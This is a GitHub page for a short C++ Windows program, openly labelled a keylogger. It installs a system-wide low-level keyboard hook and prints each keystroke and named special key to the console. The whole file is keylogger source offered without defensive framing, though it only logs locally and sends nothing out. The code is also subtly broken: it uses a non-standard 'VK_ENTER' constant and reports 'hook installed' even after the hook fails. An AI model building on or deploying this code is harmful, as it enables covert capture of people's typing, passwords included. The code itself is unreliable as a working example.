-
Notifications
You must be signed in to change notification settings - Fork 0
/
Copy pathbasic_example_documentation.cpp
153 lines (151 loc) · 4.15 KB
/
basic_example_documentation.cpp
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
// see "https://learn.microsoft.com/en-us/windows/win32/api/winuser/nf-winuser-setwindowshookexa"
#include<windows.h>
#include<stdio.h>
LRESULT hook_proc(int code, WPARAM wParam, LPARAM lParam)
{
KBDLLHOOKSTRUCT *pkey = (KBDLLHOOKSTRUCT *)lParam;
if(wParam == WM_KEYDOWN)
{
switch(pkey->vkCode)
{
case VK_ENTER:
printf("(ENTER)");
break;
case VK_BACK:
printf("(BACKSPACE)");
break;
case VK_SPACE:
printf("(SPACEBAR)");
break;
case VK_LSHIFT:
printf("(SHIFT)");
break;
case VK_TAB:
printf("(TAB)");
break;
case VK_ESCAPE:
printf("(ESC)");
break;
case VK_CONTROL:
printf("(CTRL)");
break;
case VK_MENU:
printf("(ALT)");
break;
case VK_CAPITAL:
printf("(CAPS_LOCK)");
break;
case VK_DELETE:
printf("(DEL)");
break;
case VK_LEFT:
printf("(LEFT_ARROW)");
break;
case VK_RIGHT:
printf("(RIGHT_ARROW)");
break;
case VK_UP:
printf("(UP_ARROW)");
break;
case VK_DOWN:
printf("(DOWN_ARROW)");
break;
case VK_HOME:
printf("(HOME)");
break;
case VK_END:
printf("(END)");
break;
case VK_PRIOR:
printf("(PAGE_UP)");
break;
case VK_NEXT:
printf("(PAGE_DOWN)");
break;
case VK_INSERT:
printf("(INSERT)");
break;
case VK_F1:
printf("(F1)");
break;
case VK_F2:
printf("(F2)");
break;
case VK_F3:
printf("(F3)");
break;
case VK_F4:
printf("(F4)");
break;
case VK_F5:
printf("(F5)");
break;
case VK_F6:
printf("(F6)");
break;
case VK_F7:
printf("(F7)");
break;
case VK_F8:
printf("(F8)");
break;
case VK_F9:
printf("(F9)");
break;
case VK_F10:
printf("(F10)");
break;
case VK_F11:
printf("(F11)");
break;
case VK_F12:
printf("(F12)");
break;
case VK_NUMLOCK:
printf("(NUM_LOCK)");
break;
case VK_SCROLL:
printf("(SCROLL_LOCK)");
break;
case VK_RSHIFT:
printf("(RIGHT_SHIFT)");
break;
case VK_LCONTROL:
printf("(LEFT_CTRL)");
break;
case VK_RCONTROL:
printf("(RIGHT_CTRL)");
break;
case VK_LMENU:
printf("(LEFT_ALT)");
break;
case VK_RMENU:
printf("(RIGHT_ALT)");
break;
case VK_PAUSE:
printf("(PAUSE)");
break;
case VK_PRINT:
printf("(PRINT_SCREEN)");
break;
default:
printf("%c", pkey->vkCode);
break;
}
}
return CallNextHookEx(NULL, code, wParam, lParam);
}
int main()
{
printf("keylogger started\n");
HHOOK hhook = SetWindowsHookExA(WH_KEYBOARD_LL, hook_proc, NULL, 0);
if(hhook == NULL)
printf("hook wasn't installed\n");
printf("hook installed\n");
MSG msg;
while((GetMessage(&msg, NULL, 0, 0)) != 0)
{
TranslateMessage(&msg);
DispatchMessage(&msg);
}
}